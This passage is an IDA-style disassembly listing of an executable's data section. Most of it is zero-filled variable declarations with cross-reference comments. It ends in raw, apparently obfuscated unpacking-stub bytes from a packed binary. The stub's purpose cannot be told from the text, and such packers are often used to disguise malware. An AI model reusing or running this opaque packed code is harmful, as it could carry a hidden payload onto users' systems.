sub_413DD2+F5r dword_43A288 dd 0 ; DATA XREF: sub_4089F2+7EDw ; sub_4089F2+862r ... dword_43A28C dd 0 ; DATA XREF: sub_4089F2+9BAw ; sub_4089F2+A18r ... dword_43A290 dd 0 ; DATA XREF: sub_4089F2+96Cw ; sub_4089F2+9E8r ... dword_43A294 dd 0 ; DATA XREF: sub_4089F2+46Fw ; sub_4089F2+4BDr dword_43A298 dd 0 ; DATA XREF: sub_4021FB+ECr ; sub_4021FB+109r ... dword_43A29C dd 0 ; DATA XREF: sub_4089F2+9ADw ; sub_4089F2+A10r ... dword_43A2A0 dd 0 ; DATA XREF: sub_4089F2+354w ; sub_4089F2+3A9r ... dword_43A2A4 dd 0 ; DATA XREF: sub_4089F2+3F1w ; sub_40AAD1+11Er dword_43A2A8 dd 0 ; DATA XREF: sub_4089F2+361w ; sub_4089F2+3B1r ... dword_43A2AC dd 0 ; DATA XREF: sub_4089F2+3A2w ; sub_4133C0+ADr dword_43A2B0 dd 0 ; DATA XREF: sub_405B23+115r ; sub_4084D3+7Dr ... dword_43A2B4 dd 0 ; DATA XREF: sub_4089F2+72w ; sub_4089F2+D2r ... dword_43A2B8 dd 0 ; DATA XREF: sub_4089F2+95Fw ; sub_4089F2+9DBr ... dword_43A2BC dd 0 ; DATA XREF: sub_4089F2+388w ; sub_4089F2+3C9r ... dword_43A2C0 dd 0 ; DATA XREF: sub_4089F2+83Bw ; sub_4089F2+88Er ... dword_43A2C4 dd 0 ; DATA XREF: sub_4085D3+58r ; sub_4089F2+2A5w ... dword_43A2C8 dd 0 ; DATA XREF: sub_4089F2+82Ew ; sub_4089F2+886r ... dword_43A2CC dd 0 ; DATA XREF: sub_4089F2+B3w dword_43A2D0 dd 0 ; DATA XREF: sub_4089F2+848w ; sub_4089F2+896r ... dword_43A2D4 dd 0 ; DATA XREF: sub_407BFE+7Er ; sub_4089F2+52Fw ... dword_43A2D8 dd 0 ; DATA XREF: sub_4089F2+58w ; sub_4089F2+CAr ... dword_43A2DC dd 0 ; DATA XREF: sub_4089F2+916w ; sub_40A217+11Ar dword_43A2E0 dd 0 ; DATA XREF: sub_4089F2+A66w ; sub_4089F2+A6Dr ... dword_43A2E4 dd 0 ; DATA XREF: sub_4089F2+A6w ; sub_4089F2+F2r dword_43A2E8 dd 0 ; DATA XREF: sub_4089F2+462w ; sub_4089F2+4B5r dword_43A2EC dd 0 ; DATA XREF: sub_40760A+20r ; sub_4089F2+5D8w ... dword_43A2F0 dd 0 ; DATA XREF: sub_4089F2+9A0w ; sub_4089F2+A08r dword_43A2F4 dd 0 ; DATA XREF: sub_4024DC+280r ; sub_4089F2+5CBw ... dword_43A2F8 dd 0 ; DATA XREF: sub_4030C0+9Ar ; sub_4089F2+B21w dword_43A2FC dd 0 ; DATA XREF: sub_4089F2+7E0w ; sub_4089F2+84Fr ... dword_43A300 dd 0 ; DATA XREF: sub_4089F2+1B3w ; sub_409DF3+15r dword_43A304 dd 0 ; DATA XREF: sub_4089F2+979w ; sub_4089F2+9F0r ... dword_43A308 dd 0 ; DATA XREF: sub_4089F2+36Ew ; sub_4089F2+3B9r ... dword_43A30C dd 0 ; DATA XREF: sub_4089F2+37Bw ; sub_4089F2+3C1r ... dword_43A310 dd 0 ; DATA XREF: sub_4089F2+C56w ; sub_4089F2+C5Dr dword_43A314 dd 0 ; DATA XREF: sub_4089F2+68Ew dword_43A318 dd 0 ; DATA XREF: sub_4010B2:loc_4013DDr ; sub_4018CA:loc_401B70r ... dword_43A31C dd 0 ; DATA XREF: sub_4089F2+496w dword_43A320 dd 0 ; DATA XREF: sub_4089F2+9C7w ; sub_4089F2+A20r ... dword_43A324 dd 0 ; DATA XREF: sub_4089F2+2B2w ; sub_4089F2+2DEr ... dword_43A328 dd 0 ; DATA XREF: sub_4089F2+7Fw ; sub_4089F2+DAr ... dword_43A32C dd 0 ; DATA XREF: sub_4089F2+B6Ew ; sub_4089F2+B75r ... dword_43A330 dd 0 ; DATA XREF: sub_4010B2+2Fr ; sub_4018CA+2Fr ... dword_43A334 dd 0 ; DATA XREF: sub_4089F2+807w ; sub_4089F2+872r ... dword_43A338 dd 0 ; DATA XREF: sub_4089F2+986w ; sub_4089F2+9F8r dword_43A33C dd 0 ; DATA XREF: sub_404F08+5Ar ; sub_404F08+8Cr ... dword_43A340 dd 0 ; DATA XREF: sub_4021FB+40r ; sub_4021FB+63r ... dword_43A344 dd 0 ; DATA XREF: sub_4089F2+8FCw ; sub_4089F2+910r ... dword_43A348 dd 0 ; DATA XREF: sub_4089F2+BF9w dword_43A34C dd 0 ; DATA XREF: sub_4010B2:loc_4013A7r ; sub_401447+3Cr ... dword_43A350 dd 0 ; DATA XREF: sub_4089F2+821w ; sub_4089F2+855r dword_43A354 dd 0 ; DATA XREF: sub_4021FB+50r ; sub_4021FB+78r ... dword_43A358 dd 0 ; DATA XREF: sub_4089F2+172w ; sub_4089F2+1C2r dword_43A35C dd 0 ; DATA XREF: sub_4089F2+65Aw ; sub_4089F2+786r ... dword_43A360 dd 0 ; DATA XREF: sub_4033CB+20Ar ; sub_4036EB+5Er ... dword_43A364 dd 0 ; DATA XREF: sub_4024DC+16Er ; sub_4089F2+549w ... dword_43A368 dd 0 ; DATA XREF: sub_4089F2+8BDw ; sub_4089F2:loc_4092CDw ... dword_43A36C dd 0 ; DATA XREF: sub_4089F2+28Bw ; sub_4089F2+2C6r ... dword_43A370 dd 0 ; DATA XREF: sub_407D86+98r ; sub_4089F2+681w ... dword_43A374 dd 0 ; DATA XREF: sub_4089F2+30Fw ; sub_4089F2+323r ... dword_43A378 dd 0 ; DATA XREF: sub_4089F2+395w ; sub_4089F2+3D1r ... dword_43A37C dd 0 ; DATA XREF: sub_404F08+192r ; sub_404F08+1C6r ... dword_43A380 dd 0 ; DATA XREF: sub_4089F2+7FAw ; sub_4089F2+86Ar ... dword_43A384 dd 0 ; DATA XREF: sub_4021FB+FCr ; sub_4089F2+206w ... dword_43A388 dd 0 ; DATA XREF: sub_4089F2+18Cw ; sub_4089F2+1D2r ... dword_43A38C dd 0 ; DATA XREF: sub_4089F2+814w ; sub_4089F2+87Ar ... dword_43A390 dd 0 ; DATA XREF: sub_406C3E+244r ; sub_4089F2+606w ... dword_43A394 dd 0 ; DATA XREF: sub_4085D3+19Br ; sub_4089F2+2BFw ... dword_43A398 dd 0 ; DATA XREF: sub_4010B2+6Fr ; sub_401447+AAr ... dword_43A39C dd 0 ; DATA XREF: sub_4089F2+302w ; sub_4089F2+316r ... dword_43A3A0 dd 0 ; DATA XREF: sub_405B23+F9r ; sub_406C3E+1FCr ... dword_43A3A4 dd 0 ; DATA XREF: sub_4089F2+42Ew ; sub_4089F2+490r dword_43A3A8 dd 0 ; DATA XREF: sub_4089F2+199w ; sub_4089F2+1DAr ... dword_43A3AC dd 0 ; DATA XREF: sub_4089F2+347w ; sub_4089F2+39Cr ... dword_43A3B0 dd 0 ; DATA XREF: sub_4089F2+A73w dword_43A3B4 dd 0 ; DATA XREF: sub_4010B2+EBr ; sub_4010B2+1F9r ... dword_43A3B8 dd 0 ; DATA XREF: sub_4010B2+87r ; sub_4010B2+9Dr ... dword_43A3BC dd 0 ; DATA XREF: sub_4089F2+4Bw ; sub_4089F2+C2r ... dword_43A3C0 dd 0 ; DATA XREF: sub_4089F2+455w ; sub_4089F2+4ADr dword_43A3C4 dd 0 ; DATA XREF: sub_4089F2+165w ; sub_4089F2+1BAr ... dword_43A3C8 dd 0 ; DATA XREF: sub_4089F2+9E1w ; sub_413CA9+72r dword_43A3CC dd 0 ; DATA XREF: sub_4089F2+667w ; sub_4089F2+78Er dword_43A3D0 dd 0 ; DATA XREF: sub_4024DC+205r ; sub_4033CB+23Br ... dword_43A3D4 dd 0 ; DATA XREF: sub_404F08+1D9r ; sub_404F08+245r ... dword_43A3D8 dd 0 ; DATA XREF: sub_4089F2+3Ew ; sub_4089F2+BAr ... dword_43A3DC dd 0 ; DATA XREF: sub_4089F2+298w ; sub_4089F2+2CEr ... dword_43A3E0 dd 0 ; DATA XREF: sub_405B23+9Er ; sub_407BFE+9Cr ... dword_43A3E4 dd 0 ; DATA XREF: sub_4024DC+EBr ; sub_405B23+89r ... dword_43A3E8 dd 0 ; DATA XREF: sub_4089F2+C63w dword_43A3EC dd 0 ; DATA XREF: sub_4089F2+85Bw ; sub_40AE4B+205r ... dword_43A3F0 dd 0 ; DATA XREF: sub_4089F2+112w dword_43A3F4 dd 0 ; DATA XREF: sub_404F08+11Er ; sub_4089F2+BB8w ... dword_43A3F8 dd 0 ; DATA XREF: sub_401447+119r ; sub_401447+1A0r ... dword_43A3FC dd 0 ; DATA XREF: sub_4089F2+43Bw ; sub_4089F2+49Dr dword_43A400 dd 0 ; DATA XREF: sub_4089F2+47Cw ; sub_4089F2+4C5r dword_43A404 dd 0 ; DATA XREF: sub_4089F2+448w ; sub_4089F2+4A5r dword_43A408 dd 0 ; DATA XREF: sub_4033CB+221r ; sub_4033CB+249r ... dword_43A40C dd 0 ; DATA XREF: sub_4089F2+1A6w ; sub_4089F2+1E2r ... dword_43A410 dd 0 ; DATA XREF: sub_4089F2+9D4w ; sub_4089F2+A28r ... dword_43A414 dd 0 ; DATA XREF: sub_4089F2+158w ; sub_4089F2+1ADr ... dword_43A418 dd 0 ; DATA XREF: sub_4089F2+8Cw ; sub_4089F2+E2r ... dword_43A41C dd 0 ; DATA XREF: sub_4010B2+2C2r ; sub_401447+2DAr ... dword_43A420 dd 0 ; DATA XREF: sub_4089F2+B14w ; sub_4089F2+B30r dword_43A424 dd 0 ; DATA XREF: sub_4089F2+31Cw ; sub_413D67+55r dword_43A428 dd 0 ; DATA XREF: sub_4085D3+3Fr ; sub_4089F2+27Ew ... dword_43A42C dd 0 ; DATA XREF: sub_4089F2+B7Bw dword_43A430 dd 0 ; DATA XREF: sub_4089F2+ABDw ; sub_40A093+CEr dword_43A434 dd 0 ; DATA XREF: sub_4089F2+AB0w ; sub_4089F2+AB7r ... dword_43A438 dd 0 ; DATA XREF: sub_401447+2Er ; sub_401BD6+55r ... dword_43A43C dd 0 ; DATA XREF: sub_407D86+88r ; sub_4089F2+674w ... dword_43A440 dd 0 ; DATA XREF: sub_404F08+71r ; sub_4089F2+BC5w ... dword_43A444 dd 0 ; DATA XREF: sub_4024DC+28Dr ; sub_406C3E+250r ... dword_43A448 dd 0 ; DATA XREF: sub_4089F2+993w ; sub_4089F2+A00r ... dword_43A44C dd 0 ; DATA XREF: sub_405B23+13Ar ; sub_407BFE+B3r ... dword_43A450 dd 0 ; DATA XREF: sub_4010B2+324r ; sub_401447+2F0r ... dword_43A454 dd 0 ; DATA XREF: sub_405B23+B7r ; sub_405B23+39Fr ... dword_43A458 dd 0 ; DATA XREF: sub_402FDD+B0r ; sub_402FDD+C8r ... dword_43A45C dd 0 ; DATA XREF: sub_4010B2+4Fr ; sub_4018CA+4Fr ... dword_43A460 dd 0 ; DATA XREF: sub_4089F2+AFAw ; sub_4089F2+B1Br dword_43A464 dd 0 ; DATA XREF: sub_4089F2+31w ; sub_4089F2+ADr ... dword_43A468 dd 0 ; DATA XREF: sub_4089F2+17Fw ; sub_4089F2+1CAr align 10h dword_43A470 dd 0 ; DATA XREF: sub_4089F2+909w ; sub_4089F2+91Dr ... dword_43A474 dd 0 ; DATA XREF: sub_4089F2+99w ; sub_4089F2+EAr ... dword_43A478 dd 0 ; DATA XREF: sub_4089F2:loc_408AF0w ; sub_4089F2+12Bw ... dword_43A47C dd 0 ; DATA XREF: sub_4089F2+126w ; sub_40967F+1Cr dword_43A480 dd 0 ; DATA XREF: sub_4089F2:loc_408BE0w ; sub_4089F2:loc_408C47w ... dword_43A484 dd 0 ; DATA XREF: sub_4089F2+250w ; sub_40967F+50r dword_43A488 dd 0 ; DATA XREF: sub_4089F2:loc_408CDCw ; sub_4089F2:loc_408D21w ... dword_43A48C dd 0 ; DATA XREF: sub_4089F2+400w ; sub_40967F+84r dword_43A490 dd 0 ; DATA XREF: sub_4089F2:loc_408ED8w ; sub_40967F:loc_40972Fr dword_43A494 dd 0 ; DATA XREF: sub_4089F2+4E1w ; sub_40967F+B8r dword_43A498 dd 0 ; DATA XREF: sub_4089F2:loc_4091A9w ; sub_40967F:loc_409763r dword_43A49C dd 0 ; DATA XREF: sub_4089F2+7B2w ; sub_40967F+ECr dword_43A4A0 dd 0 ; DATA XREF: sub_4089F2:loc_409294w ; sub_4089F2+8D1w ... dword_43A4A4 dd 0 ; DATA XREF: sub_4089F2+8CCw ; sub_40967F+120r dword_43A4A8 dd 0 ; DATA XREF: sub_4089F2:loc_409328w ; sub_40967F:loc_4097CBr ... dword_43A4AC dd 0 ; DATA XREF: sub_4089F2+931w ; sub_40967F+154r dword_43A4B0 dd 0 ; DATA XREF: sub_4089F2:loc_409433w ; sub_40967F:loc_4097FFr ... dword_43A4B4 dd 0 ; DATA XREF: sub_4089F2+A3Cw ; sub_40967F+188r dword_43A4B8 dd 0 ; DATA XREF: sub_4089F2:loc_40947Dw ; sub_40967F:loc_409833r dword_43A4BC dd 0 ; DATA XREF: sub_4089F2+A86w ; sub_40967F+1BCr dword_43A4C0 dd 0 ; DATA XREF: sub_4089F2:loc_4094C7w ; sub_40967F:loc_409867r dword_43A4C4 dd 0 ; DATA XREF: sub_4089F2+AD0w ; sub_40967F+1F0r dword_43A4C8 dd 0 ; DATA XREF: sub_4089F2:loc_40953Bw ; sub_40967F:loc_40989Br dword_43A4CC dd 0 ; DATA XREF: sub_4089F2+B44w ; sub_40967F+224r dword_43A4D0 dd 0 ; DATA XREF: sub_4089F2:loc_409585w ; sub_40967F:loc_4098CFr dword_43A4D4 dd 0 ; DATA XREF: sub_4089F2+B8Ew ; sub_40967F+258r dword_43A4D8 dd 0 ; DATA XREF: sub_4089F2:loc_409623w ; sub_40967F:loc_409903r dword_43A4DC dd 0 ; DATA XREF: sub_4089F2+C2Cw ; sub_40967F+28Cr dword_43A4E0 dd 0 ; DATA XREF: sub_4089F2:loc_40966Dw ; sub_40967F:loc_409937r dword_43A4E4 dd 0 ; DATA XREF: sub_4089F2+C76w ; sub_40967F+2C0r dword_43A4E8 dd 81h dup(0) ; DATA XREF: sub_409C08+6Ao dword_43A6EC dd 5 dup(0) ; DATA XREF: sub_40A171+32o dword_43A700 dd 0 ; DATA XREF: sub_40A5B9:loc_40A5DAr ; sub_40A6A8+54r ... dword_43A704 dd 0 ; DATA XREF: sub_40A5B9r ; sub_40A6A8+37r ... dword_43A708 dd 0 ; DATA XREF: sub_40A5E9+1Ar ; sub_40A7FD+83o dword_43A70C dd 0 ; DATA XREF: sub_40A5B9:loc_40A5CDr ; sub_40A7FD+11Bw dword_43A710 dd 0Dh dup(0) ; DATA XREF: sub_40A6A8+13o ; sub_40A7FD:loc_40A93Ao dword_43A744 dd 0 ; DATA XREF: sub_40A6A8+CDr ; sub_40A6A8+ECr ... dd 0 dword_43A74C dd 0Eh dup(0) ; DATA XREF: sub_40A9B2+47o dword_43A784 dd 1000h dup(0) ; DATA XREF: sub_40B16D+1Do ; sub_40B20Do ... dword_43E784 dd 0 ; DATA XREF: sub_40B16D+13o ; sub_40B20D+Eo ... dword_43E788 dd 0Eh dup(0) ; DATA XREF: sub_40C218+Fo dword_43E7C0 dd 2 dup(0) ; DATA XREF: sub_40C59A+C8o dword_43E7C8 dd 0 ; DATA XREF: sub_40B075+Ao ; sub_40B075+44r ... dd 5 dup(0) dword_43E7E0 dd 0 ; DATA XREF: sub_40B075+60r ; sub_40CE55+BC8r dd 2D9h dup(0) dword_43F348 dd 0 ; DATA XREF: sub_40778B+A5r ; sub_40B075+2Do ... dd 7Fh dup(0) dword_43F548 dd 0 ; DATA XREF: sub_414F93+41w ; sub_4150CE+40w ... dword_43F54C dd 0 ; DATA XREF: sub_406100+234w ; sub_40778B:loc_4077D2r ... dword_43F550 dd 0 ; DATA XREF: sub_40A7FD+164w ; sub_414F93+52w ... dword_43F554 dd 0 ; DATA XREF: sub_4024DC+E0w ; sub_405B23+7Ew ... dword_43F558 dd 0 ; DATA XREF: sub_407D86+11Ew ; sub_407F6D+53r ... dword_43F55C dd 0 ; DATA XREF: sub_406100+261w ; sub_407276+122w ... byte_43F560 db 0 ; DATA XREF: sub_40CB75+91o ; sub_40CE55+322Br ... align 4 dd 2A7h dup(0) dword_440000 dd 15D4h dup(0) ; DATA XREF: .nsp0:00422640o dword_445750 dd 8C3Ah dup(0) ; DATA XREF: .nsp0:off_426918o dword_468838 dd 0 ; DATA XREF: sub_407135:loc_4071A3r ; sub_40C682+47w ... align 10h dword_468840 dd 0 ; DATA XREF: sub_40C682:loc_40CA87o dword_468844 dd 20h dup(0) ; DATA XREF: sub_40C682+39Do ; sub_40C682+456o ... dword_4688C4 dd 10h dup(0) ; DATA XREF: sub_40C682+3B4o ; sub_40CE55+91Do dword_468904 dd 24h dup(0) ; DATA XREF: sub_40C682+3CBo dword_468994 dd 0 ; DATA XREF: sub_40C682+3BFw ; sub_40C682+46Dw ... dword_468998 dd 0 ; DATA XREF: sub_40C682+3DEw dd 3 dup(0) dword_4689A8 dd 0 ; DATA XREF: sub_40C682+147r dword_4689AC dd 0 ; DATA XREF: sub_40CB75+72r ; sub_40CE55+276r byte_4689B0 db 0 ; DATA XREF: sub_40CCDD+28r ; sub_40CCDD+30o align 4 dword_4689B4 dd 0 ; DATA XREF: sub_40283D+9Fo dword_4689B8 dd 0 ; DATA XREF: sub_40C682+40Aw ; sub_40C682+421r ... dword_4689BC dd 0 ; DATA XREF: sub_40C682+3A2w ; sub_40CE55+8C1r dword_4689C0 dd 17h dup(0) ; DATA XREF: sub_412F10:loc_41302Do ; sub_412F10+131o ... dword_468A1C dd 7 dup(0) ; DATA XREF: sub_413CA9+7Co ; sub_413CA9+A5o dword_468A38 dd 0 ; DATA XREF: sub_4151DB+16o ; sub_4151FA+19o dword_468A3C dd 78h dup(0) ; DATA XREF: sub_41518E+3Do dword_468C1C dd 0 ; DATA XREF: sub_41328A+45w ; sub_41328A+4Dr ... dword_468C20 dd 17h dup(0) ; DATA XREF: sub_413B75:loc_413C97o ; sub_413B75+12Do dword_468C7C dd 80h dup(0) ; DATA XREF: sub_4131CB+4Bo ; sub_4131CB+7Do ... byte_468E7C db 0 ; DATA XREF: sub_41328A+29r ; sub_41328A+34w align 10h dword_468E80 dd 80h dup(0) ; DATA XREF: sub_4134E1+61o ; sub_4134E1+88o ... dword_469080 dd 81h dup(0) ; DATA XREF: sub_412DE7+33o ; sub_412DE7+50o ... dword_469284 dd 81h dup(0) ; DATA XREF: sub_41449C+8Do byte_469488 db 0 ; DATA XREF: sub_414E8C+6Ar ; sub_414E8C+98w align 4 dd 2 dup(0) dword_469494 dd 0 ; DATA XREF: sub_415F3B+Aw dword_469498 dd 0 ; DATA XREF: sub_416AD4+5Er ; sub_416AD4+A4w align 10h word_4694A0 dw 0 ; DATA XREF: sub_416AD4+55r ; sub_416AD4+9Ao word_4694A2 dw 0 ; DATA XREF: sub_416AD4+48r db 2 dup(0) word_4694A6 dw 0 ; DATA XREF: sub_416AD4+3Br word_4694A8 dw 0 ; DATA XREF: sub_416AD4+2Er word_4694AA dw 0 ; DATA XREF: sub_416AD4+21r align 10h dword_4694B0 dd 0 ; DATA XREF: sub_416C98+3Br ; sub_416C98+91w dword_4694B4 dd 0 ; DATA XREF: sub_416881+1B9w ; sub_416E3E:loc_416EBAw ... dword_4694B8 dd 0 ; DATA XREF: sub_417709+35w ; sub_4185CB:loc_418665w ... dword_4694BC dd 0 ; DATA XREF: sub_41D55A+13Ar dword_4694C0 dd 0 ; DATA XREF: .nsp0:00417B4Aw dword_4694C4 dd 0 ; DATA XREF: .nsp0:00417B41w dword_4694C8 dd 0 ; DATA XREF: .nsp0:00417B36w dword_4694CC dd 0 ; DATA XREF: .nsp0:00417B28w dword_4694D0 dd 0 ; DATA XREF: sub_40C682:loc_40C96Fr ; sub_41C8D3+91w dword_4694D4 dd 0 ; DATA XREF: sub_40C682+2F6r ; sub_40C682+316r ... dd 0 dword_4694DC dd 0 ; DATA XREF: sub_41C81A+44w ; sub_41F409+9r ... dword_4694E0 dd 0 ; DATA XREF: sub_41FAC2+36r dword_4694E4 dd 0 ; DATA XREF: sub_41F409+16r ; sub_41F7D7+4r ... dd 0 dword_4694EC dd 0 ; DATA XREF: sub_41C8D3+2Ew dd 0 byte_4694F4 db 0 ; DATA XREF: sub_417849+2Dw ; sub_41D17B+5r align 4 dword_4694F8 dd 0 ; DATA XREF: sub_417849+27w dword_4694FC dd 0 ; DATA XREF: sub_417849+4r ; sub_417849+8Bw dword_469500 dd 0 ; DATA XREF: .nsp0:00417B7Cw ; sub_41C81A:loc_41C82Cr ... align 8 dword_469508 dd 0 ; DATA XREF: sub_417BEEr sub_417C13r ... dword_46950C dd 0 ; DATA XREF: sub_4187B6+37r dd 0 dword_469514 dd 0 ; DATA XREF: sub_415DC9r ; sub_4174DF:loc_4175DBr ... dword_469518 dd 0 ; DATA XREF: sub_418A68r dword_46951C dd 0 ; DATA XREF: sub_41A016+11r ; sub_41A11A+1Ar ... byte_469520 db 0 ; DATA XREF: sub_41A016+3r ; sub_41A016+98r ... align 4 dword_469524 dd 0 ; DATA XREF: sub_41A11A+11r ; sub_41A1F8+21w ... byte_469528 db 0 ; DATA XREF: sub_41A1F8+51w align 4 dword_46952C dd 0 ; DATA XREF: sub_41A3EE+4Er ; sub_41A7C9+3Ar ... dword_469530 dd 0 ; DATA XREF: sub_41A3EE+5Cr ; sub_41A7C9+43r ... dword_469534 dd 0 ; DATA XREF: sub_4161C2+7Ar ; sub_41A595+5r dword_469538 dd 0 ; DATA XREF: sub_41AB9C+29r dword_46953C dd 0 ; DATA XREF: sub_41BD71+28r ; sub_41BD71+4Cw ... dd 2 dup(0) dword_469548 dd 0 ; DATA XREF: sub_417193+4r ; sub_417193+9Dr ... dd 3 dup(0) dword_469558 dd 0 ; DATA XREF: sub_4179F9+61r ; sub_4179F9+BFr ... align 10h dword_469560 dd 0 ; DATA XREF: sub_41BFC0:loc_41C13Br ; sub_41C159+4w ... dword_469564 dd 0 ; DATA XREF: sub_41C63E+3Ar ; sub_41C63E+46w ... dword_469568 dd 41h dup(0) ; DATA XREF: sub_41C8D3:loc_41C8EAo dword_46966C dd 0 ; DATA XREF: sub_41CB20+2r ; sub_41CB20+23w ... dword_469670 dd 0 ; DATA XREF: sub_41CEE0+21r dword_469674 dd 0 ; DATA XREF: sub_4187B6:loc_4187DFw ; sub_418880+154w ... dword_469678 dd 0 ; DATA XREF: sub_41D1F7+26r ; sub_41D1F7:loc_41D261w dword_46967C dd 0 ; DATA XREF: sub_418880+7r word_469680 dw 0 ; DATA XREF: sub_41DDDF+1Ao ; sub_41DDDF+46r byte_469682 db 0 ; DATA XREF: sub_41DDDF+39r align 4 dword_469684 dd 7 dup(0) ; DATA XREF: sub_41DDDF+52o dword_4696A0 dd 0 ; DATA XREF: sub_41DDDF+40w ; sub_41DDDF+5Co dword_4696A4 dd 0 ; DATA XREF: sub_41DDDF+4Dw dword_4696A8 dd 0 ; DATA XREF: sub_41DDDF+31w dword_4696AC dd 0 ; DATA XREF: sub_41DDDF+52w dword_4696B0 dd 0 ; DATA XREF: sub_41DF02:loc_41DF25r ; sub_41DF02+38r ... align 8 dword_4696B8 dd 0 ; DATA XREF: sub_41E162+11w ; sub_41E162+63w ... align 10h dword_4696C0 dd 0 ; DATA XREF: sub_41E162+33o ; sub_41E162+46r dword_4696C4 dd 10h dup(0) ; DATA XREF: sub_41E162+C1o word_469704 dw 0 ; DATA XREF: sub_41E3C0+A8r word_469706 dw 0 ; DATA XREF: sub_41E162+54r ; sub_41E3C0+DBr ... word_469708 dw 0 ; DATA XREF: sub_41E3C0+CAr word_46970A dw 0 ; DATA XREF: sub_41E3C0+D3r ; sub_41E3C0:loc_41E4B2r word_46970C dw 0 ; DATA XREF: sub_41E3C0+C0r word_46970E dw 0 ; DATA XREF: sub_41E3C0+B8r word_469710 dw 0 ; DATA XREF: sub_41E3C0+B0r word_469712 dw 0 ; DATA XREF: sub_41E3C0+9Er dword_469714 dd 0 ; DATA XREF: sub_41E162+4Br dword_469718 dd 10h dup(0) ; DATA XREF: sub_41E162+FBo word_469758 dw 0 ; DATA XREF: sub_41E3C0+46r word_46975A dw 0 ; DATA XREF: sub_41E162:loc_41E1D9r ; sub_41E3C0+78r ... word_46975C dw 0 ; DATA XREF: sub_41E3C0+67r word_46975E dw 0 ; DATA XREF: sub_41E3C0+70r ; sub_41E3C0:loc_41E444r word_469760 dw 0 ; DATA XREF: sub_41E3C0+5Dr word_469762 dw 0 ; DATA XREF: sub_41E3C0+55r word_469764 dw 0 ; DATA XREF: sub_41E3C0+4Dr word_469766 dw 0 ; DATA XREF: sub_41E3C0+3Er dword_469768 dd 0 ; DATA XREF: sub_41E162+80r dword_46976C dd 0 ; DATA XREF: sub_41E162+132r ; sub_41E162:loc_41E2AEr ... dword_469770 dd 0 ; DATA XREF: sub_41E14Dr sub_41E14D+Ew dword_469774 dd 0 ; DATA XREF: sub_41E6EE+3r ; sub_41E6EE+2Ew ... dword_469778 dd 0 ; DATA XREF: sub_41E6EE+43w ; sub_41E6EE:loc_41E73Dr dword_46977C dd 0 ; DATA XREF: sub_41E6EE+4Aw ; sub_41E6EE+60r dword_469780 dd 0 ; DATA XREF: sub_41D55A+3Fr dword_469784 dd 0 ; DATA XREF: sub_41F297:loc_41F2FEr ; sub_41F297+6Do dword_469788 dd 0 ; DATA XREF: sub_41F297:loc_41F2D5r ; sub_41F297+44o dword_46978C dd 0 ; DATA XREF: sub_41F297:loc_41F2C8r ; sub_41F297+37o dword_469790 dd 0 ; DATA XREF: sub_41F297:loc_41F2E2r ; sub_41F297+51o align 8 dword_469798 dd 0 ; DATA XREF: sub_41F845+28r ; sub_41F845+48w ... byte_46979C db 0 ; DATA XREF: sub_404EE6r sub_404EE6+9w ... align 10h dword_4697A0 dd 0 ; DATA XREF: sub_418749:loc_41875Ar ; sub_4189F0+14r ... dd 7 dup(0) dword_4697C0 dd 400h dup(0) ; DATA XREF: .nsp0:off_438488o ; .nsp0:00438490o dword_46A7C0 dd 0 ; DATA XREF: sub_418749+9r ; sub_418749+56r ... dd 7 dup(0) dword_46A7E0 dd 0 ; DATA XREF: sub_417C37+B1r ; sub_41B8B0+75r ... dword_46A7E4 dd 3Fh dup(0) ; DATA XREF: sub_41CC52+92o dword_46A8E0 dd 0 ; DATA XREF: sub_4185CB+8r ; sub_41B989+Cr ... dword_46A8E4 dd 0 ; DATA XREF: sub_41BFC0+14r ; sub_41BFC0+65w ... align 10h dword_46A8F0 dd 3 dup(0) ; DATA XREF: sub_41BFC0+123o ; sub_41BFC0+171o ... dword_46A8FC dd 0 ; DATA XREF: sub_41BFC0+108w ; sub_41BFC0+15Dw ... byte_46A900 db 0 ; DATA XREF: sub_41C1FF:loc_41C30Bw ; sub_41C1FF:loc_41C328w ... align 4 dd 3Fh dup(0) byte_46AA00 db 0 ; DATA XREF: sub_41BFC0+5Co ; sub_41BFC0+AFo ... byte_46AA01 db 0 ; DATA XREF: sub_417348+5Dr ; sub_41BFC0+A0w ... align 4 dd 40h dup(0) dword_46AB04 dd 0 ; DATA XREF: sub_41BFC0+6Ew ; sub_41BFC0+12Bw ... dword_46AB08 dd 0 ; DATA XREF: sub_418ABF+32w ; sub_41915C+5r ... dword_46AB0C dd 0 ; DATA XREF: sub_418B28+239r ; sub_418B28+259r ... dword_46AB10 dd 0 ; DATA XREF: sub_418ABF+2Dw ; sub_418B28+310w ... dword_46AB14 dd 0 ; DATA XREF: sub_418ABF:loc_418ADCw ; sub_418B28+22Cr ... dword_46AB18 dd 0 ; DATA XREF: sub_418ABF+24w ; sub_418AFDr ... dword_46AB1C dd 0 ; DATA XREF: sub_418ABF+15w ; sub_418AFD+8r ... dword_46AB20 dd 0 ; DATA XREF: sub_415E07+28r ; sub_415E3D+21r ... dword_46AB24 dd 0 ; DATA XREF: .nsp0:00417B72w ; sub_41C7C2+Fr ... dword_46AB28 dd 0 ; DATA XREF: sub_41C81A+ADw ; sub_41F409r dword_46AB2C dd 0 ; DATA XREF: sub_41C384r ; sub_41C384+11w ... dword_46AB30 dd 0 ; DATA XREF: sub_4167D3+13r ; sub_4167D3:loc_416815r ... dword_46AB34 dd 0 ; DATA XREF: sub_4167D3+1r ; sub_4167D3+Cr ... byte_46AB38 db 0 ; DATA XREF: sub_4200C4+15r ; sub_4200C4+1Ew align 4 dd 131h dup(0) db 90h db 60h, 0E8h, 3 dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h, 0FFEDBB5Dh dd 0DD03FFFFh, 0B000EB81h, 7D830006h, 5D890025h, 8D117525h dd 53502A45h, 92DB5FFh, 1FEB0000h, 400000h, 345678B8h dd 45035012h, 0DB0B5B25h, 1C244489h, 6A067561h, 0CC25801h dd 0E8C35000h, 0Bh, 0F2FD54A7h, 3EF9C043h, 81B5EC9Fh, 94D316CEh dd 0E9575A00h, 5, 1C8FEE69h, 0C2815F25h, 868h, 0CE816651h dd 2B5E2F9Eh, 0FA8B56DBh, 1334FF59h, 58F2B70Fh, 0B05A8168h dd 1DBDB939h, 815E3507h, 0D8C342E8h, 0FEBF0F6Fh, 6F53E881h dd 0C08171D5h, 2CFDE090h, 0F7E5B966h, 661A0489h, 7974C981h dd 4B03EB83h, 0F09ED3B9h, 2CFB8116h, 0FFFFFF8h, 0FFFFB885h dd 14E8FFh, 0C53C0000h, 41284B1Ah, 7DD427E6h, 7940C372h dd 356C1FBEh, 81663BCAh, 5F4804C6h, 8E8CA8Bh, 0B0000000h dd 0DC4FAE29h, 816BBAE5h, 5CC12E9h, 0EE95E59h, 5E000000h 